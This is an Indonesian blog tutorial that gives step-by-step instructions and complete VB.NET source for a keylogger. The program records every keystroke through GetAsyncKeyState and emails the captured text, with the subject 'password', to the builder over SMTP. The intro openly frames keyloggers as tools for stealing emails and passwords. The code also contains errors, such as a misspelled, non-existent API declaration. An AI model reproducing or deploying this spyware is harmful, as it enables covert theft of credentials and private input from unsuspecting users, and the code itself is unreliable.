Cara Membuat Keylogger Send Email Dengan Vb2010

Keylogger, siapa yang belum kenal dengan hal ini ?. ini merupakan hal yang paling ditakuti oleh pengguna komputer karena dapat mencuri email,password,dll. dengan waktu singkat, data-data yang terbaca oleh keylogger itu akan dikirim oleh seseorang pembuat keylogger tersebut. nah, untuk kali ini saya akan memposting Cara Membuat Keylogger Send Email Dengan Vb2010. Diharapkan, gunakan untuk hal hal untuk berbuat kebaikan :). berikut tutorialnya

1. Buka VB 2010 kamu
2. Buat Form Baru (CTRL+N)
3. Pilih Windows Form Application dan isikan Namenya sesuai keinginan kamu
4. Tambah 2 Text Box Dan 1 Button. Seperti gambar dibawah:
5. Masukkan Kode Dibawah Ini:

Imports System.Net.Mail
Imports System.Web
Imports System.IO




Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetAnyncKeySync Lib "user32" (ByVal vKey As Long) As Integer
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        My.Computer.Clipboard.SetText("Haha")
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("uremail@gmail.com","password")
        SmtpServer.Port = 587                      
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("uremail@anymailserver.com")
        mail.From = New MailAddress("nothere-mail@gmail.com")
        mail.Subject = "password"
        mail.Body = TextBox1.text & textbox2.text
        SmtpServer.Send(mail)
    End Sub
End Class

Perhatian:
Untuk Kode berwarna orange diganti dengan email dan password email kamu

Untuk Kode berwarna hijau diganti dengan Server.port dan Server.Host (Bisa dicari di google) 

Untuk Kode Berwarna Biru Isikan Email kamu

Gunakan Email Aol.com. kalau gmail sudah tidak bisa dipakai lagi :). Selamat Mencoba,,Terima Kasih